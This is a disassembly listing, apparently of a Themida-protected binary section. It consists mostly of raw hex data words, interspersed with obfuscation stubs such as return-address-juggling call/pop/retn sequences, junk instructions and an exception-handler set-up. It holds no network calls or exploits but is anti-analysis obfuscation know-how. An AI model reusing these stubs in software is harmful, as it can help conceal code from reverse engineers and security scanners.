4245489h, 4244481h, 16h, 65C35242h, 810FA009h, 6, 10819589h dd 46890610h, 68B0F04h, 89000000h, 100A39B5h, 0F88B5006h dd 31243489h, 1016F1BDh, 65B5FF06h, 8B0613C2h, 101275BDh dd 4E806h, 3FF0000h, 0FA8B001Fh, 0DE850h, 0D9B90000h, 40C783FDh dd 5B8E18ABh, 0E90FDB1Fh, 0Ah, 0EAF16588h, 0FB90901Fh dd 8B5BB04Bh, 0BF042444h, 15F241Eh, 0E0BB008Bh, 892744A6h dd 58042444h, 0BF0F68B7h, 6D858DDBh, 0B0613C2h, 101D3DBDh dd 66605006h, 14E8D08Bh, 0E1000000h, 0CC409266h, 85E3F93Bh dd 0A18C1FB6h, 0E3C4838Ch, 0E86E1BA6h, 0Eh, 0EB196865h dd 5C0A3EE8h, 0D8026691h, 5E5EB3A9h, 24048961h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 59C35242h, 0D595FFF8h dd 6A061005h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 763BC356h, 6F53139Eh, 0E860B0E2h dd 0Dh, 0F9B697AEh, 0F330F5D0h, 15C13B34h, 21958B01h, 5F06100Eh dd 27E9B509h, 66610610h, 8A61D88Bh, 0C185C7DCh, 3061022h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 94EDC350h, 0D729D728h, 972A530h dd 83FAB70Fh, 13C26DBDh, 840F0006h, 0Ah, 1EE9D98Bh, 80000000h dd 3050E5F3h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 518D89C0h, 2B061005h, 100F259Dh, 0C1BD8306h dd 3061022h, 418850Fh, 8B600000h, 100899BDh, 0BD836106h dd 613C26Dh, 3840F00h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 6A35C356h dd 95F859ECh, 0E8FC12B3h, 7, 6FB05F22h, 66D32FF9h, 8B5BD88Bh dd 6DB5FFDEh, 0E90613C2h, 0Dh, 71DE9F61h, 0BB154343h, 0D2E9FB1h dd 0A595FFD5h, 6606102Fh, 8BE905BFh, 13C261B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 685B0103h, 106C7BFh, 0F000100h, 68Eh, 39BD0100h, 96061028h dd 0E850DA8Bh, 14h, 9663C294h, 8E795FE1h, 91EBF02Ah, 0D0D8B31Bh dd 0ABE8EEDAh, 6A965Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 1A1DBC3h, 8BAD9D49h, 1000C99Dh dd 0D1958906h, 0FF06101Fh, 13C26DB5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8B336F8Ah, 102A19BDh, 5DBD0B06h, 0FF06102Ah, 10122595h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 25A7499Bh, 0B58B30EDh, 613C261h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0B4C35343h, 6D652C10h dd 8089FFBFh, 0BD29B4EBh, 61022F5h, 21D1858Bh, 21BF0610h dd 812486F1h, 0E66764DBh, 0C486892Fh, 0FC000000h, 88D0Fh dd 8B560000h, 10225D9Dh, 958B5F06h, 61009F5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 9FC35545h, 0E9FFD3E4h dd 0Eh, 57006D8h, 49FD6FF4h, 12E17381h, 890F4D52h, 6, 131DBD8Bh dd 0C2830610h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1C04h, 0C3574700h, 0ECCC0393h, 73609ADBh dd 0D9BF0F16h, 6A205089h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 2E2AC356h, 2B9C2BB2h dd 100975BDh, 36C38106h, 8D25448Fh, 13D7C285h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 9DF208A5h, 3736DA08h, 0B8868975h, 0BB000000h, 43E8FDF9h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h dd 55450000h, 1DC256C3h, 0FFC79C47h, 13C26DB5h, 95FFF806h dd 6100495h, 30D19D8Bh, 0B7500610h, 24348910h, 0EB816653h dd 0FF5BEC0Bh, 13C26DB5h, 2D95FF06h, 6A061016h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 0F941C355h, 4254A8B9h, 21BD8B55h, 8306101Bh, 101351BDh dd 840F0006h, 3Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0EBC35545h, 0BF21D3A6h, 96660983h, 8840Fh dd 50530000h, 5A310F52h, 53505B58h, 2830Fh, 61600000h dd 0B5FF965Bh, 613C26Dh, 0A758589h, 95FF0610h, 6100C19h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 8AC35141h dd 66AC205Eh, 0FF25C7BFh, 13C26DB5h, 7DB50106h, 8B061023h dd 101D85BDh, 2195FF06h, 33061016h, 102D69BDh, 89BD8306h dd 206100Fh, 5E840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0E07850C3h, 96A63430h dd 63D381CEh, 8B0B8196h, 1010C585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 4893B75Dh dd 0C6F81Bh, 0A9BD2B00h, 0BF06100Ch, 5D5C9127h, 2A2585C7h dd 610h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 9BE90CC3h, 8BFFFFF3h, 4C14BFC1h dd 858D4C60h, 61013B9h, 0E89064B7h, 13h, 0E6104E24h, 0BAFF1AC1h dd 4EA70CCFh, 0CCB41DF1h, 0BBCBD04Fh, 47D866A8h, 840F505Bh dd 5, 0D88B6652h, 890F905Bh, 6, 18D99D8Bh, 6A0610h, 6AF88Bh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F7C35747h dd 244E307Ah, 89E4EF8Eh, 101B058Dh, 5E858D06h, 0E9061518h dd 0Eh, 0A9942C31h, 0E4570B97h, 365620Bh, 0C0836B7Eh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0B1C93A87h, 0F020F2BDh, 6650F941h, 489F98Bh, 8E924h dd 0D0610000h, 4F34D70Dh, 6A1AA8h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ch, 2CC35141h, 7073DA5Fh, 7C89D708h dd 0FE4FABBh, 60006A53h, 21D8529h, 81600610h, 0DF3772D6h dd 699D891Ch, 61061004h, 1995FF61h, 6A06101Dh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 0DE43C353h, 4117B68Dh, 80F88B88h, 8D8D4EC7h, 613AFD8h dd 0D1B589h, 0D1FF0610h, 5840Fh, 81660000h, 0BB7812EFh dd 4AC10838h, 2209BD83h, 0F010610h, 0A485h, 0F9B70F00h dd 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 3E3A4AC3h, 609071B3h, 0B832BF66h, 0CB5B3DBBh dd 6050610Ch, 56BE5250h, 0F79C1BDh, 5A616031h, 4B77BA58h dd 90612427h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 39C35747h, 67A3BA6Bh, 0BAB2107h, 1009A99Dh, 0F98B6606h dd 49595FFh, 6A0610h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 7C10A4C3h, 0ADA52D6Ah, 236AFAD8h dd 10284DBDh, 0DEFE906h, 0E80000h, 5D000000h, 1868ED81h dd 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 5EBF7CC3h, 817BED82h, 42C5FCD3h, 0B6858D7Eh dd 6A061399h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 594CC357h, 0B03EEE98h, 31AE68F4h dd 102F0985h, 19D8B06h, 5006102Dh, 6187B260h, 51240489h dd 0CE95Bh, 66560000h, 2C8E2309h, 4061F34Bh, 0FF64DEC5h dd 35h, 2DBD8900h, 0E906100Fh, 10h, 0B6ADA348h, 509BDA77h dd 18F5C8F4h, 0CEB84DA8h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 56DAC357h, 0E5C42D23h, 1375BB26h, 85FF6AB0h, 6101419h dd 22859D8Bh, 0FF6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 16h, 0EDC35747h, 0DE8A1D9Bh, 8A1B5FFh, 0F3800610h dd 1595FF00h, 0E9061006h, 0E2h, 0B014B7h, 759BD8Bh, 70E60610h dd 2D519D29h, 71E40610h, 8ACBF66h, 830F613Ch, 0C2h, 0FFABF0Fh dd 7E8C8B6h, 0E6000000h, 0A5CF4993h, 9D098377h, 6100DA9h dd 6BA5Fh, 8B660000h, 60C18BF8h, 1935B589h, 10E80610h dd 0B8000000h, 103A9CACh, 35166DB2h, 3AFE92ECh, 662E4F8Ah dd 350D081h, 0E8C1615Eh, 66F98B04h, 9D89E2F7h, 6100825h dd 91BBC82Bh, 8B431CC1h, 0FE8B66D1h, 5DE9h, 0DBB70F00h dd 4E49858Bh, 9D2B4400h, 61009B1h, 6607C083h, 83BC2EBBh dd 0B70F00C0h, 0FD03BDBh, 0B83h, 34E900h, 9D8B0000h, 6103161h dd 0FFFF8D8Bh, 0B529FFFFh, 61001C9h, 0F01E183h, 1984h dd 83EDB300h, 0FFFFFFA5h, 0BB66FEFFh, 9589BE52h, 44004E49h dd 0E9FCh, 0B58D0000h, 6148E03h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 89C35747h, 68B49969h, 0CE9186Eh dd 7A000000h, 81C01BF0h, 17F02684h, 6AB00DCBh, 3DBD8B00h dd 0FF06101Dh, 1031C995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DCB932C7h dd 6A00000Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 0D446C351h, 0CBD3F0A2h, 398B3AB9h dd 0BE8h, 3DE6F400h, 688D308Fh, 6BB72571h, 12418529h, 835B0610h dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 8BAAEC3h, 0CF816681h, 0E8FCBD96h, 6, 0A829EEDDh dd 12E84864h, 51000000h, 749A87ACh, 50935FFBh, 77204F1Ch dd 7DE24A94h, 0F99D8B4Ch, 5B061018h, 89C02B5Fh, 10311D95h dd 0BA06h, 0B70F0000h, 0C233ADDAh, 0D003E8D1h, 7504E983h dd 53006AF4h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 18CBE417h, 5F5F5756h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D4C35545h, 67384E7Ch, 8F0F5D82h dd 6, 0A219D89h, 9D8B0610h, 610142Dh, 880Dh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8B4DD54Bh, 1009F595h, 0D9B70F06h, 0ECF8166h, 198D8BF8h dd 6A061023h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0DDEAC356h, 0D52A9569h, 7BE5B396h dd 66F8E780h, 508E8ABBh, 188BC28Bh, 188BC103h, 0E8D1C18Bh dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 2D967712h, 9DC549D9h, 6870FF1h, 89000000h dd 1001C185h, 0DE806h, 69DC0000h, 0B9FD9F96h, 7A56E3F4h dd 89DA1989h, 100DC59Dh, 89605B06h, 102A9995h, 0C1953306h dd 61061012h, 1E29BD83h, 0F000610h, 8784h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8979C1h, 6101FADh, 8E9h, 56392E00h, 53E2F800h, 0B82Ch dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0DA8BDCC3h, 8D8DDF8Bh, 6104E85h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 3C35747h, 315048C2h dd 100E959Dh, 0BFE1FF06h, 392329Ah, 22C1BD83h, 0F000610h dd 45084h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 4E2BB4D2h, 22C1BD83h, 0F010610h dd 43F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 7A1C2D6Bh, 42BB66F7h, 15840FAEh dd 0E8000000h, 0Fh, 0F8FBBF09h, 405679D7h, 922D9960h, 5F2DE595h dd 22C1BD83h, 0F030610h, 3BD86h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 664C6E54h dd 0BDC4F781h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1804h, 0C3524200h, 0EA1618E3h, 0B9BD8B9Eh dd 6606101Bh, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 662042C3h, 0A9BF381h, 4E180F8h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 9BC35646h dd 0F711B1Fh, 0C90AF9BFh, 0FF840Fh, 8D890000h, 6102079h dd 2185858Bh, 0E9570610h, 10h, 66D0B441h, 3CF2E1D3h, 0E33B2EE5h dd 6B7C9FCFh, 0FD85335Bh, 81061011h, 883BFED3h, 0BB66503Fh dd 489C5E9h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 5800FFEh, 0BB000000h, 4CFCCB87h dd 9D8BFA8Ah, 6101AE9h, 0CEBF006Ah, 68577124h, 500A4246h dd 5526A6BFh, 2434812Ch, 501541B9h, 5830Fh, 81660000h dd 0FF481ACFh dd 1005D595h, 0FD9D8B06h, 89061010h, 13C26D85h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0ECF46404h, 0E8058C43h, 8A0F4E88h, 4, 0EC54BB66h, 1D8E9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h dd 0C3534300h, 658D891Ch, 0F061014h, 88Eh, 2800F00h, 8A000000h dd 65858BFAh, 6A0613C2h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 2B96C352h, 8B662450h dd 0C7F98ADFh, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 5CEB81E0h, 8B29D5B7h dd 13C269B5h, 0C830F06h, 0F000000h, 680h, 0F1BD8B00h, 8B061005h dd 100E2585h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 73CF675Bh, 634BBC57h, 0EE869h, 0EF6E0000h dd 0B28A1FC4h, 7E78CE0Fh, 0CF8663F2h, 11E58D89h, 895B0610h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 5DFFF349h, 0A936045Bh, 858BA051h, 6102185h dd 4689F98Bh, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 89594E5Fh, 101B7185h, 60BF9606h dd 500554DEh, 0D88B6696h, 0C265B5FFh, 0E9F50613h, 0Bh dd 0C40C1E97h, 5453AADAh, 68D6E18Fh, 808CBD4Eh, 799DF5BFh dd 24048107h, 7F9246B1h, 2F298589h, 858D0610h, 613C26Dh dd 16850F50h, 0E8000000h, 10h, 0E2D1D925h, 0FDEABFF2h dd 36A5EC56h, 1B69EBA8h, 8E0F5F5Bh, 3, 90D8B70Fh, 0BF50F7B7h dd 0C07D08Ch, 4830F90h, 66000000h, 0FFB3BBBBh, 1005D595h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h dd 0C3524200h, 6A19F9E1h, 0EFA0B5B8h, 6A6126h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0C74650C3h, 0E46196Dh, 1B5898Bh, 0C706101Eh, 1022C185h dd 306h, 0DEB70F00h, 0B519D89h, 0BD830610h, 613C26Dh, 2F840F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0D681C357h, 27E92Fh, 800F0000h dd 6, 1CF99589h, 30500610h, 4400110Ch, 0E8C10111h, 11443010h dd 114C0002h, 0E9835803h, 0EBE77504h, 4305036h, 11640011h dd 10E8C101h, 2114430h, 3116400h, 4E98358h, 1BEBE775h dd 10E8C150h, 3116428h, 2114430h, 11642858h, 11043001h dd 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 205BF983h, 22BF6660h dd 0D8B70F5Ah, 68A0F61h, 89000000h, 1013D9B5h, 0C1BD8306h dd 3061022h, 424850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 0A82B8EC3h, 0B70FF686h dd 6DBD83FEh, 613C2h, 3F4840Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 4C432CC3h dd 2C44D062h, 0FFFC7439h, 13C26DB5h, 0FFC0B706h, 102FA595h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h dd 0C3564600h, 0FF21241h, 0F71D320Eh, 0BF66B8B8h, 0B58B90C2h dd 613C261h, 2DA59509h, 6C70610h, 10001h, 39EBBF66h, 50606096h dd 5A310F52h, 0DE858h, 0B8640000h, 0EBA35E1Fh, 0F352109Ah dd 5E2E2F5Eh, 0D38B6661h, 57565061h, 5B5F5F52h, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 0BAA22FFh, 0BF621578h, 45BD899Ah, 0FF06102Ah, 13C26DB5h dd 0DF816606h, 95FFCF22h, 6101225h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 3DC35747h, 9589F813h, 6101F55h dd 0C261B58Bh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 456C28C3h, 56074690h, 538966D6h dd 1E6D9D8Bh, 8B5B0610h, 1021D185h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0BD2B52E3h dd 61032B9h, 0C486895Bh, 8B000000h, 1009F595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0A1B9702Ah, 89222CF7h, 1011718Dh, 0E95F5106h, 9, 26D5FAC5h dd 87F178A7h, 4C28309h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 0E2C35141h, 8660A79Eh, 89DFF07Eh, 8D0F2050h dd 6, 0DC59589h, 858D0610h, 613D7C2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 76C35242h, 4B715678h, 0D5A1E786h dd 0B886895Bh, 8B000000h, 1027859Dh, 6A006A06h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7F2CC352h, 0BF0F60CFh, 0DFBF0FC7h, 0DA816061h, 44A360D6h dd 0FE78166h, 0B5FF613Bh, 613C26Dh, 8E9h, 6F29DF00h, 0D7CE3498h dd 9595FF7Fh, 29061004h, 10090985h, 0BB665006h, 3489E133h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0D381662Dh, 0B5FF26B6h, 613C26Dh, 2D95FFFCh dd 6A061016h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0F4DC357h, 81h, 0C0CF8100h, 837FA6C4h dd 101351BDh, 840F0006h, 4Eh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 0C3C35343h, 21523E80h, 3197AE08h dd 100011BDh, 34895006h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1904h, 0C3554500h, 0D65B1740h, 0B5FFD891h dd 613C26Dh, 0FFF98B66h, 100C1995h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 174CA6FAh dd 75858987h, 0FF06102Dh, 13C26DB5h, 0E1EF8006h, 162195FFh dd 7E90610h, 0F4000000h, 242D03C2h, 890F4E67h, 0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+6100F89h], 2 jz loc_59DA5E push 0 push ecx call sub_59DA18 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DA18 proc near ; CODE XREF: Themida_:0059DA10p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_59DA18 endp ; --------------------------------------------------------------------------- xchg eax, edi and edi, [esp] xchg eax, edx and al, 82h mov [ebp+6102A01h], ebx mov eax, [ebp+61010C5h] mov byte ptr [eax], 0 push 0 push ebp call sub_59DA4A and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DA4A proc near ; CODE XREF: Themida_:0059DA42p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59DA4A endp ; --------------------------------------------------------------------------- dw 0E85Bh ; --------------------------------------------------------------------------- mov gs, bx loc_59DA5E: ; CODE XREF: Themida_:0059DA07j mov dword ptr [ebp+6102A25h], 0 push 0 push edx call sub_59DA73 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DA73 proc near ; CODE XREF: Themida_:0059DA6Bp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_59DA73 endp ; --------------------------------------------------------------------------- db 6Ah dd 2B70CCA7h, 1FE977DAh, 8BFFFFF3h, 102805BDh, 6AC18B06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 17F2C351h, 89A7F4DDh, 101F9585h, 0B9858D06h dd 6A061013h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 8104C355h, 50C203DFh, 4895009h dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0CEB65265h, 0B834B2C1h, 9589EC4Fh, 6100535h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0B30F6DC3h, 0EB2E158Ch, 0E8E8B8C7h, 8, 0A32B775Dh dd 36F75BA6h, 22699589h, 6A5B0610h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 2B41B8A6h dd 8D080E85h, 15286585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0BFF54B05h, 71A88818h dd 833FE780h, 0E38105C0h, 84F6CCh, 0CE850h, 66510000h dd 126C3F42h, 0D9BD2E0Fh, 0E86048B9h, 13h, 1B00AF79h, 58E1B930h dd 1705258Fh, 45F40B86h, 5EDF1E28h, 61D38B66h, 2404895Bh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 68C35545h dd 221680ABh, 0DEBF0F9Bh, 11ADBD8Bh, 6A0610h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 9DC35242h, 95899DB0h dd 61027E9h, 0BD8B006Ah, 61010DDh, 1D1995FFh, 0BF530610h dd 3410D391h, 0C8F0F5Fh, 0F000000h, 684h, 0BD9D0100h, 8D06101Ah dd 13AFD88Dh, 85BD8906h, 0FF061004h, 9BD83D1h, 1061022h dd 62850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0D9CA2FC3h, 3980F4A8h, 26AD860h dd 0BE9h, 20DDD00h, 6857FFADh, 0DA8D81Bh, 0BE950h, 20540000h dd 7BC34202h, 1067E60Eh, 240489D9h, 2D959D09h, 95FF0610h dd 6100495h, 6830Fh, 0EB810000h, 336D00A7h, 0D98E9h, 0E800h dd 815D0000h, 15286FEDh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 57D3FCE6h, 0C8B0Fh, 810F0000h dd 6, 8F0Fh, 31FC0000h, 10208D8Dh, 0B6858D06h, 8B061399h dd 101FDD9Dh, 6BB79006h, 92BF5250h, 5B5F4182h, 68D0F90h dd 8B000000h, 1029399Dh, 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_59DD4F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DD4F proc near ; CODE XREF: Themida_:0059DD47p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_59DD4F endp ; --------------------------------------------------------------------------- retf 177Bh ; --------------------------------------------------------------------------- lodsb or eax, 9D8D897Bh and edx, [eax] push es mov large fs:0, esp cld inc dword ptr [ebp+6101419h] push ecx and di, 0C563h pop ebx push 0FFFFFFFFh push 0 push ebp call sub_59DD8D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DD8D proc near ; CODE XREF: Themida_:0059DD85p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_59DD8D endp ; --------------------------------------------------------------------------- db 54h, 6Dh, 78h dd 0B5A3D097h, 65B5FF19h, 6A061008h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0E27C353h dd 0A094A59Ah, 7E97D94h, 99000000h, 9DACC74Fh, 95FF1E52h dd 6100615h, 135E9h, 0B0F98B00h, 5FF95600h, 6670E6F9h dd 71E4FA8Bh, 2DA7BF66h, 3CD9B70Fh, 17830F61h, 89000001h dd 10162595h, 0E58D8906h, 0F061014h, 0BD8BC8B6h, 61011CDh dd 6BAh, 0F8BF0F00h, 8B0FC18Bh, 6, 2275BD2Bh, 0E8C10610h dd 0AFBB6604h, 0DA8B66E9h, 0BE2F766h, 102829BDh, 8BC82B06h dd 1032DD9Dh, 899D8B06h, 8B06100Dh, 0FBBF0FD1h, 0C1E9h dd 0F7816600h, 858BDB9Eh, 505F4C4Ch, 0FFBADB81h, 0C08317A1h dd 31C38107h, 83395EC9h, 12E800C0h, 23000000h, 717F0EB2h dd 34DAD632h, 0E49D3600h, 341572D9h, 10E960B5h, 0F8000000h dd 879B3FC7h, 101B2003h, 0AFD17C6Dh, 617DA828h, 0FD03B5Fh dd 1183h, 0FE8B6600h, 0D7DFBF66h, 61E9h, 0C890BB00h, 8D8B029Fh dd 0FFFFFFFFh, 0FE9h, 81AA000h, 54DCF61h, 59DC088Fh, 40CD0988h dd 0F01E183h, 3984h, 0F9BF0F00h, 83F8B70Fh, 0FFFFFFA5h dd 0BD2BFEFFh, 6102025h, 4C4C9589h, 0BE8505Fh, 62000000h dd 979B6F22h, 4BAFCA1Dh, 0BB66D334h, 315B8775h, 1015A995h dd 0E906h, 0B58D0000h, 6149DDFh, 6AFBBF0Fh, 315B5300h dd 1027DDBDh, 0C995FF06h, 6A061031h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0AF47C357h dd 773258CEh, 0C5BD09B6h, 0B906102Ah, 0F84h, 1E9D8589h dd 0E1830610h, 11E8FCh, 0D7B80000h, 47783D39h, 0E19FEA71h dd 0F8092D86h, 8947CAA5h, 101471BDh, 6AFC5B06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 0F1EC356h, 687h, 0FD8D0100h, 0E906101Dh, 0Bh, 0AB6A6A63h dd 0CF7CE3BAh, 0B869F6BEh, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_59DFCF and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59DFCF proc near ; CODE XREF: Themida_:0059DFC7p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_59DFCF endp ; --------------------------------------------------------------------------- db 0BCh dd 5FE6362Bh, 0F5BB75D4h, 0DE8h, 61EDFC00h, 0B4A57A7Ah dd 0A88248D4h, 8B66DDF7h, 0BA5FFAh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 244FC356h, 527CEDB9h, 12CDB529h, 95F0610h, 1018ED95h dd 0C233AD06h, 0D003E8D1h, 7504E983h, 0B4F781F4h, 6A094F1Ch dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 89BDC351h, 1013A1BDh, 880D06h, 6A0000h, 3E856h dd 5E200000h, 